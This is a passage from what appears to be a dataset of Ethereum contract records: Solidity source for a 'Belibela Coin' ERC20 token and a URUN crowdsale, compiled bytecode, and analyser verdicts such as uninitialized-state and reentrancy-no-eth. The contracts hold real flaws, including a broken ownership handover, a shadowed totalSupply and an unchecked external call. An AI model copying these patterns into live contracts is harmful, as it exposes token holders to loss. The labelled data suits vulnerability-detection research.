66001600160a01b0316815260200190815260200160002081905550838281518110610e5957fe5b60200260200101516001600160a01b03167f8b0ed825817a2e696c9a931715af4609fc60e1701f09c89ee7645130e937eb2d826040518082815260200191505060405180910390a250600101610d17565b50600354604080516370a0823160e01b81526001600160a01b038681166004830152915191909216916323b872dd918691309185916370a08231916024808301926020929190829003018186803b158015610f0457600080fd5b505afa158015610f18573d6000803e3d6000fd5b505050506040513d6020811015610f2e57600080fd5b5051604080516001600160e01b031960e087901b1681526001600160a01b0394851660048201529290931660248301526044820152905160648083019260209291908290030181600087803b158015610f8657600080fd5b505af1158015610f9a573d6000803e3d6000fd5b505050506040513d6020811015610fb057600080fd5b5051610fbb57600080fd5b50506003805460ff60a81b1916600160a81b17905550565b6001600160a01b038116600090815260046020526040812054600254829161108991610ffe9161111b565b6106df6110096106b8565b600360009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561105757600080fd5b505afa15801561106b573d6000803e3d6000fd5b505050506040513d602081101561108157600080fd5b50519061111b565b6001600160a01b038416600090815260056020526040812054919250906110b190429061113d565b9050600062278d008211156110e9576110d76110d08362278d0061111b565b8490611152565b90506110e68262278d00611192565b91505b81156111135761111061110961110262278d008561111b565b859061111b565b8290611180565b90505b949350505050565b600080821161112957600080fd5b600082848161113457fe5b04949350505050565b60008282111561114c57600080fd5b50900390565b60008261116157506000610737565b8282028284828161116e57fe5b041461117957600080fd5b9392505050565b60008282018381101561117957600080fd5b60008161119e57600080fd5b8183816111a757fe5b06939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a26469706673582212207c7557d0a575f8f70beb75fffb81046354c47086f611bc75fc1e7524cbca690a64736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,192 |
0x89831fd833411c62c16bb881aeda7d31c0337d9d
|
pragma solidity ^0.4.16;
// Belibela Coin Smart contract based on the full ERC20 Token standard
// https://github.com/ethereum/EIPs/issues/20
// Verified Status: ERC20 Verified Token
// Belibela Coin Symbol: Belibela
contract BELIBELAToken {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a Belibelater function for the totalSupply.
This is moved to the base contract since public Belibelater functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Belibela Coin Math operations with safety checks to avoid unnecessary conflicts
*/
library ABCMaths {
// Saftey Checks for Multiplication Tasks
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// Saftey Checks for Divison Tasks
function div(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
// Saftey Checks for Subtraction Tasks
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
// Saftey Checks for Addition Tasks
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract BelibelaStandardToken is BELIBELAToken, Ownable {
using ABCMaths for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address tarBelibela, bool frozen);
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address tarBelibela, bool freeze) onlyOwner {
frozenAccount[tarBelibela] = freeze;
FrozenFunds(tarBelibela, freeze);
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(balances[msg.sender] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack
//most of these things are not necesary
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(allowed[_from][msg.sender] >= _value) // Check allowance
&& (balances[_from] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack
//most of these things are not necesary
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
/* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
// Notify anyone listening that this approval done
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract BELIBELA is BelibelaStandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
uint256 constant public decimals = 8;
uint256 public totalSupply = 49999999900000000 ;
string constant public name = "Belibela Coin";
string constant public symbol = "Belibela";
function BELIBELA(){
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc578063313ce5671461027557806370a082311461029e57806379ba5097146102eb5780638da5cb5b1461030057806395d89b4114610355578063a9059cbb146103e3578063b414d4b61461043d578063cae9ca511461048e578063d4ee1d901461052b578063dd62ed3e14610580578063e724529c146105ec578063f2fde38b14610630575b600080fd5b34156100f657600080fd5b6100fe610669565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106a2565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610829565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061082f565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610cfe565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102d5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d03565b6040518082815260200191505060405180910390f35b34156102f657600080fd5b6102fe610d4c565b005b341561030b57600080fd5b610313610eab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561036057600080fd5b610368610ed1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a857808201518184015260208101905061038d565b50505050905090810190601f1680156103d55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ee57600080fd5b610423600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f0a565b604051808215151515815260200191505060405180910390f35b341561044857600080fd5b610474600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611241565b604051808215151515815260200191505060405180910390f35b341561049957600080fd5b610511600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611261565b604051808215151515815260200191505060405180910390f35b341561053657600080fd5b61053e6114fe565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561058b57600080fd5b6105d6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611524565b6040518082815260200191505060405180910390f35b34156105f757600080fd5b61062e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803515159060200190919050506115ab565b005b341561063b57600080fd5b610667600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116d1565b005b6040805190810160405280600d81526020017f42656c6962656c6120436f696e0000000000000000000000000000000000000081525081565b60008082148061072e57506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561073957600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561088c5760009050610cf7565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610957575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109635750600082115b801561099c5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610a385750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a3583600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a890919063ffffffff16565b10155b8015610a4957506044600036905010155b1515610a5457600080fd5b610aa682600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d290919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b3b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a890919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c0d82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d290919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600881565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da857600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600881526020017f42656c6962656c6100000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f67576000905061123b565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610fb65750600082115b8015610fef5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561108b5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108883600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a890919063ffffffff16565b10155b801561109c57506044600036905010155b15156110a757600080fd5b6110f982600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061118e82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a890919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156114a2578082015181840152602081019050611487565b50505050905090810190601f1680156114cf5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af19250505015156114f357600080fd5b600190509392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160757600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561172d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156117a55780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008082840190508381101580156117c05750828110155b15156117c857fe5b8091505092915050565b60008282111515156117e057fe5b8183039050929150505600a165627a7a723058205dac263a19056f46438e40374bc1e75b2c611d4f591517a94b598eb6eb25c7ae0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
| 6,193 |
0x87c453706f694e27fde749cacb076bdf24c073e9
|
pragma solidity 0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface TokenInterface {
function totalSupply() external constant returns (uint);
function balanceOf(address tokenOwner) external constant returns (uint balance);
function allowance(address tokenOwner, address spender) external constant returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
function burn(uint256 _value) external;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Burn(address indexed burner, uint256 value);
}
contract URUNCrowdsale is Ownable{
using SafeMath for uint256;
// The token being sold
TokenInterface public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// how many token units a buyer gets per wei
uint256 public ratePerWei = 800;
// amount of raised money in wei
uint256 public weiRaised;
uint256 public TOKENS_SOLD;
uint256 minimumContributionPresalePhase1 = 2 * 10 ** 18; //2 eth is the minimum contribution in presale phase 1
uint256 minimumContributionPresalePhase2 = 1 * 10 ** 18; //1 eth is the minimum contribution in presale phase 2
uint256 maxTokensToSaleInClosedPreSale;
uint256 bonusInPreSalePhase1;
uint256 bonusInPreSalePhase2;
bool isCrowdsalePaused = false;
uint256 totalDurationInDays = 31 days;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(uint256 _startTime, address _wallet, address _tokenAddress) public
{
require(_wallet != 0x0);
require(_startTime >=now);
startTime = _startTime;
endTime = startTime + totalDurationInDays;
require(endTime >= startTime);
owner = _wallet;
maxTokensToSaleInClosedPreSale = 60000000 * 10 ** 18;
bonusInPreSalePhase1 = 50;
bonusInPreSalePhase2 = 40;
token = TokenInterface(_tokenAddress);
}
// fallback function can be used to buy tokens
function () public payable {
buyTokens(msg.sender);
}
function determineBonus(uint tokens) internal view returns (uint256 bonus)
{
uint256 timeElapsed = now - startTime;
uint256 timeElapsedInDays = timeElapsed.div(1 days);
//Closed pre-sale phase 1 (15 days)
if (timeElapsedInDays <15)
{
bonus = tokens.mul(bonusInPreSalePhase1);
bonus = bonus.div(100);
require (TOKENS_SOLD.add(tokens.add(bonus)) <= maxTokensToSaleInClosedPreSale);
}
//Closed pre-sale phase 2 (16 days)
else if (timeElapsedInDays >=15 && timeElapsedInDays <31)
{
bonus = tokens.mul(bonusInPreSalePhase2);
bonus = bonus.div(100);
require (TOKENS_SOLD.add(tokens.add(bonus)) <= maxTokensToSaleInClosedPreSale);
}
else
{
bonus = 0;
}
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(isCrowdsalePaused == false);
require(validPurchase());
require(isWithinContributionRange());
require(TOKENS_SOLD<maxTokensToSaleInClosedPreSale);
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(ratePerWei);
uint256 bonus = determineBonus(tokens);
tokens = tokens.add(bonus);
// update state
weiRaised = weiRaised.add(weiAmount);
token.transfer(beneficiary,tokens);
emit TokenPurchase(owner, beneficiary, weiAmount, tokens);
TOKENS_SOLD = TOKENS_SOLD.add(tokens);
forwardFunds();
}
// send ether to the fund collection wallet
function forwardFunds() internal {
owner.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime;
}
/**
* function to change the end timestamp of the ico
* can only be called by owner wallet
**/
function changeEndDate(uint256 endTimeUnixTimestamp) public onlyOwner{
endTime = endTimeUnixTimestamp;
}
/**
* function to change the start timestamp of the ico
* can only be called by owner wallet
**/
function changeStartDate(uint256 startTimeUnixTimestamp) public onlyOwner{
startTime = startTimeUnixTimestamp;
}
/**
* function to change the rate of tokens
* can only be called by owner wallet
**/
function setPriceRate(uint256 newPrice) public onlyOwner {
ratePerWei = newPrice;
}
/**
* function to pause the crowdsale
* can only be called from owner wallet
**/
function pauseCrowdsale() public onlyOwner {
isCrowdsalePaused = true;
}
/**
* function to resume the crowdsale if it is paused
* can only be called from owner wallet
**/
function resumeCrowdsale() public onlyOwner {
isCrowdsalePaused = false;
}
/**
* function to check whether the sent amount is within contribution range or not
**/
function isWithinContributionRange() internal constant returns (bool)
{
uint timePassed = now.sub(startTime);
timePassed = timePassed.div(1 days);
if (timePassed<15)
require(msg.value>=minimumContributionPresalePhase1);
else if (timePassed>=15 && timePassed<31)
require(msg.value>=minimumContributionPresalePhase2);
else
revert(); // off time - no sales during other time periods
return true;
}
/**
* function through which owner can take back the tokens from the contract
**/
function takeTokensBack() public onlyOwner
{
uint remainingTokensInTheContract = token.balanceOf(address(this));
token.transfer(owner,remainingTokensInTheContract);
}
/**
* function through which owner can transfer the tokens to any address
* use this which to properly display the tokens that have been sold via ether or other payments
**/
function manualTokenTransfer(address receiver, uint value) public onlyOwner
{
token.transfer(receiver,value);
TOKENS_SOLD = TOKENS_SOLD.add(value);
}
}
|
0x6080604052600436106100ef5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041662739f2a81146100fa5780630c8f167e146101125780633197cbb6146101395780634042b66f1461014e57806345737b1e1461016357806358c6f08b1461017b5780636786ed0e1461019057806378e97925146101a85780637c359dc3146101bd5780638da5cb5b146101e1578063a8351c0314610212578063bc7c322c14610227578063ec8ac4d81461023c578063ecb70fb714610250578063f2fde38b14610279578063f6a60d891461029a578063fc0c546a146102af575b6100f8336102c4565b005b34801561010657600080fd5b506100f8600435610478565b34801561011e57600080fd5b50610127610498565b60408051918252519081900360200190f35b34801561014557600080fd5b5061012761049e565b34801561015a57600080fd5b506101276104a4565b34801561016f57600080fd5b506100f86004356104aa565b34801561018757600080fd5b506100f86104ca565b34801561019c57600080fd5b506100f860043561061e565b3480156101b457600080fd5b5061012761063e565b3480156101c957600080fd5b506100f8600160a060020a0360043516602435610644565b3480156101ed57600080fd5b506101f6610714565b60408051600160a060020a039092168252519081900360200190f35b34801561021e57600080fd5b506100f8610723565b34801561023357600080fd5b5061012761074d565b6100f8600160a060020a03600435166102c4565b34801561025c57600080fd5b50610265610753565b604080519115158252519081900360200190f35b34801561028557600080fd5b506100f8600160a060020a036004351661075b565b3480156102a657600080fd5b506100f86107f3565b3480156102bb57600080fd5b506101f661081a565b60008080600160a060020a03841615156102dd57600080fd5b600c5460ff16156102ed57600080fd5b6102f5610829565b151561030057600080fd5b610308610859565b151561031357600080fd5b6009546006541061032357600080fd5b60045434935061033a90849063ffffffff6108d716565b91506103458261090d565b9050610357828263ffffffff6109c916565b60055490925061036d908463ffffffff6109c916565b600555600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038781166004830152602482018690529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156103df57600080fd5b505af11580156103f3573d6000803e3d6000fd5b505050506040513d602081101561040957600080fd5b505060005460408051858152602081018590528151600160a060020a038089169416927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18928290030190a3600654610467908363ffffffff6109c916565b6006556104726109d8565b50505050565b60005433600160a060020a0390811691161461049357600080fd5b600255565b60065481565b60035481565b60055481565b60005433600160a060020a039081169116146104c557600080fd5b600355565b6000805433600160a060020a039081169116146104e657600080fd5b600154604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a033081166004830152915191909216916370a082319160248083019260209291908290030181600087803b15801561054e57600080fd5b505af1158015610562573d6000803e3d6000fd5b505050506040513d602081101561057857600080fd5b505160015460008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101869052905194955092169263a9059cbb926044808201936020939283900390910190829087803b1580156105ef57600080fd5b505af1158015610603573d6000803e3d6000fd5b505050506040513d602081101561061957600080fd5b505050565b60005433600160a060020a0390811691161461063957600080fd5b600455565b60025481565b60005433600160a060020a0390811691161461065f57600080fd5b600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156106ce57600080fd5b505af11580156106e2573d6000803e3d6000fd5b505050506040513d60208110156106f857600080fd5b505060065461070d908263ffffffff6109c916565b6006555050565b600054600160a060020a031681565b60005433600160a060020a0390811691161461073e57600080fd5b600c805460ff19166001179055565b60045481565b600354421190565b60005433600160a060020a0390811691161461077657600080fd5b600160a060020a038116151561078b57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461080e57600080fd5b600c805460ff19169055565b600154600160a060020a031681565b6000806000600254